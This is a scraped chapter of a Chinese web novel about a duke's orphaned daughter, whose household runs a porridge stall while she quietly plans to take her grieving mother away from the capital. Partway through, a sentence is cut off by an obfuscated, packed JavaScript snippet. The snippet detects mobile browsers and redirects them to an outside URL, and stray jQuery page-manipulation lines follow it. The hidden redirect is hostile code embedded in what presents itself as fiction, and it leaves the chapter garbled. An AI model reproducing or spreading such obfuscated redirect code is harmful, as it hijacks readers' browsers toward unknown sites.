文趣网 > 其他小说 > 大小姐她一统乱世 > 11. 施粥
    初秋的早上的雾气遍布城南官道,也沾湿了百姓的发梢。

    两条长长的队伍在官道旁边排开,一眼看不到头。

    排队的百姓们拿着自己的粗瓷碗,盯着最前方的两座简易粥棚,缓慢挪动脚步,下意识裹紧了身上打着补丁的衣衫。

    沈七这次穿了件右边袖子断了半截的灰色布衣,腰间系着粗麻绳,脸上多了一片浅色麻子,戴着竹编斗笠,背着柴火混在队伍里。

    远处的木棚搭着白布,棚下煮着小米粥的两口铁锅柴火烧得正旺,翻腾的热气驱散了些凉意。

    施粥的国公府仆役们穿着白麻衣,有的拿着长勺给排队上前的人们盛一碗清粥,有的负责递草药包。

    药包用粗纸包着,拆开便能看见里面干瘪淡黄的麦冬和蜷曲的干百合,秋天煮水饮用,可以润燥安神。

    十余名府兵未配刀剑,分散站在粥棚周围维持秩序。

    百姓端了粥,就在旁边喝。

    一边闲聊,一边看能不能最后再领上一碗。

    “敢问老伯,最近京城没有灾荒,怎么在这里施粥了?”一位牵着孩子的妇人端着刚盛好的热粥,蹲下来跟旁边的老农搭话。

    “这不是朝廷赈灾,是沈国公府的大小姐为了感谢国公出殡时百姓们都来相送,特意设的粥棚答谢。”那老农的手掌还贴着喝完了的空碗,想要汲取暖意,望着城外山陵的方向答道。

    “原来是这样,那沈国公的女儿也一定是个好人。这条路上平日里流民农户和小商贩最多了,还挨着进城大道,就是没有送过沈国公的,饿了也能讨一碗粥喝,我就是今日才进城的。”

    “是啊,大小姐这是心里记着咱们。”老农捧着碗坐在地上。

    “可不止呢,沈国公出殡那日我也去了,听说沈家大小姐才十一岁,一个人执幡主丧,还有摔盆的时候,那气势!真不愧是沈国公的女儿!”背上背着几捆柴火的年轻后生插话。

    “对,还有大小姐写给陛下请盆的奏书你们听说书的念了吗?我这个活了半辈子的庄稼汉听了心里都难受得不行,恨不得用镰刀去砍两个戚国贼为沈国公一家出气!”

    “我也听了,要是有一个像沈家大小姐这样的女儿,有没有男孩又有什么关系呢?”李四应声。

    “你们家也能让女孩摔盆啊?”那年轻后生大笑。

    “所以大小姐能争来才更有能耐啊!咱们老百姓家里的规矩还能比国公府多吗?我也只有一个女儿,要是哪天我真出了什么事情,我姑娘要是也有这样的能耐,我在地下也不用担心她们娘儿俩被别人欺负了。”

    李四一板一眼地回答,他心里还真是这么想的,从听说沈家大小姐为沈国公摔盆的第一天他就这么想了。

    沈七被噎了一下,又非常自然地喝了口粥,瓷碗扬起,盖住了他一脸的与有荣焉。

    没错!他家大小姐就是能耐!

    最先发话的妇人试了试粥的温度,便将裂口的碗递给了孩子,自己将那包麦冬百合干放在怀里:“大小姐有本事,心又好。我这孩子秋天正有些喉干,咳嗽好多天了,用这药包正好。”

    “不过怎么没见大小姐呢?她没来吗?我和孩子领了她的东西,也好让记一记她的模样呀。”

    “这你就不知道了吧,大小姐的母亲病了,这次施粥,也是为了给国公夫人祈福呢。”另一位拎着竹篮的中年妇人迫不及待地接话,她站在旁边听了好一会儿,终于轮到她了。

    “我有亲戚在药铺里干活,往国公府送药的时候,满府里都没个笑脸,怕犯了忌讳和府里的人搭了话才知道。听说夫人是早年伤了身子,现在又因为日夜哭祭,熬干了心气,直接一病不起了。连宫里来的太医都说这是心病,严重了还会折寿呢!”

    有人叹气:“大小姐在她母亲病倒的第一天就开始施粥,说是施粥七日,今天已经连施了六天,不过夫人的病却更重了。”

    “沈国公一家太可怜了!多好的人家,到头来只剩孤女寡母过活,夫人还不知是什么光景。”

    “京城对别的大官来说是富贵窝,对国公夫人一家却是个伤心地啊!”背柴的沈七感慨地晃了晃碗里已经快见底的粥。

    接着说:“我看啊,最难熬的就是留在京城。城里到处都是沈国公生前的旧人旧事,夫人也日日和旧物待在一块触景伤情,怎么能治好心病?”

    “说得有理。既是心病,还是要到一处山清水秀的地方静养。心里松快了,身子才有好的指望。”

    “不过皇城里规矩大,就算国公夫人和郡主想离开京城,也不容易吧。”沈七煞有其事地附和。

    旁边一个书生脸色蜡黄,穿着已经洗得褪色的蓝布长衫,捧着粥道:“沈国公为国而死,如今尸骨未寒,只留下一对寡母幼女。”

    “她们既不争爵位,又不夺权势,倘若只求一方清净之地养病,假如皇上连这点心愿都不肯成全,传到边关将士的耳中,岂不是寒了天下忠臣的心?”

    这话,可有些大胆了。

    斗笠阴影之下,沈七一双眼悄然抬了抬,不动声色地看了那书生一眼。

    “老天也可怜可怜这对苦命的母女吧。”带着孩子的妇人语气苦涩,“好人家不应该是这样的下场。”

    老农不舍地放下早已没了热度的粥碗,再次开口:“但愿上苍垂怜,让卧病的国公夫人能养好身子。”

    众人连连点头,皆是唏嘘。

    粥棚下大锅米粥的热气,氤氲地白雾温柔漫开。

    国公府的仆役们依旧有条不紊地盛粥,分发草药包,一份份地递到百姓手中。

    细碎温和的人声或感念祝愿,或悲戚同情,都顺着来往的行人流入京城的大街小巷。

    日头渐升之时,沈烬刚结束了晨间的操练。

    清竹院位于国公府的西跨院,规制精巧,开阔大气,是从前沈毅专为沈烬平日里读书习武所建。

    院中环廊连接厢房,竹木沿西墙纵向伸展。

    这毛竹初种下的四年,不见什么长势。

    主根把所有力气都使在扎根上,不断深入泥土,盘结根系,以积蓄生机。

    待蛰伏期满,便随春雷催笋而出,不过短短数十日,便能节节直上。

    如今长度已超过高墙,任秋风摧折而不弯,颇有凌云之势。

    院落南侧是沈烬平日习武的地坪。

    寻常人家的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966945|214543||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    演武场多设在外院,在闺阁院落里辟一处习武之地实属罕见。

    沈毅当年用百里之外,深山之中的上品青石取材,所选山石致密坚韧,自带天然纹路。

    这样的石材只在深山腹地,因山路崎岖不通车马,要先靠工匠进山寻到石脉后,以铁楔凿取荒料,再分割成大板开凿,之后借水道转运,上岸后经由人力辗转送入府中,耗费数月。

    铺设之时要求更为苛刻,整块地坪严丝合缝地拼接在一起,经多层工序反复打磨,放眼望去平整如镜,寻不出一处凸起凹坑。

    这是苏婉要求的。

    数年晨昏往复,沈烬日日在演武场上踩踏而出,功毕而归,这里早已留下了她的痕迹。

    沈烬气息微促,走到演武坪的武架旁,将手中长剑归置架上。武架上面还放着她惯用的护腕和箭囊等物件。

    她今日穿了身月白的窄袖劲装,长发用同色发带高束,额间碎发被汗水濡湿,发尾垂在身后。

    沈烬伸手取过架上的汗巾,从容擦了擦脸上的薄汗。

    毛竹林带着草木清气,抚平了她一身燥热。

    廊下长凳上,穆款东早已等候多时。

    “你把伺候的人都遣到外院去,这下好了,干什么都要自己动手了吧。”

    穆款东的脸上像是被风霜和药草熏得微褐,眼角纹路细密,眼睛透亮,斜倚在游廊长凳上,靠着柱子,看沈烬练武结束,率先开口。

    “不止一般的下人不在,你那两个贴身的丫头也不在。”他环视了院落四周,随手就拿起腰间酒壶喝了一口。

    沈烬听到穆款冬敞亮的声音笑了笑,擦完了汗,便向廊下走去。

    “她们有别的事情要做。倒是先生,今日怎么来了?”

    穆款东已年近五旬,头发半灰半黑,随意地用根木簪束着。

    手上指节粗大,布满薄茧,穿着一件洗得柔软的藏青棉质衣衫,外搭灰布药袍,袍摆沾着点难以洗净的药渍。

    “夫人派她贴身的刘嬷嬷来给我送谢礼,但我可没给夫人吃过什么以假乱真的药丸。”

    他摊开手掌,语气玩味:“你瞧,人没我诊过,药我没送过,谢礼反倒准时送到了我门上。哎,颇有些于心不安呀。”

    沈烬走到廊前的石阶上不动了,两双眼睛四目相对片刻,她故作夸张地行了一礼:“有劳先生周全。”

    穆款东哈哈一笑,放下酒壶,往前倾了倾身子,眼底闪过一丝探究:“你这丫头,我与你相处许久,也清楚几分你的性子。你现在心里,可是又在打什么主意?”

    沈烬看着穆款冬,不闪不避:“只求寻一条出路,让家母得以安养。”

    穆款东看了她半晌,开口道:“良药只能治标,心病需清净之地调养,这道理不假。只是你不要失了分寸,操之过急,反倒落人口实。”

    说罢,他又拿起酒壶悠哉饮了一口,一副散漫不羁的样子:

    “你是个有主意的,话我只提醒这一回。你若需要我打掩护,就知会一声。反正我这老头子下半辈子就在你这条船上了。”

    沈烬的眉眼弯了弯:“这是自然,沈烬不管去哪里,都是要带上先生的。”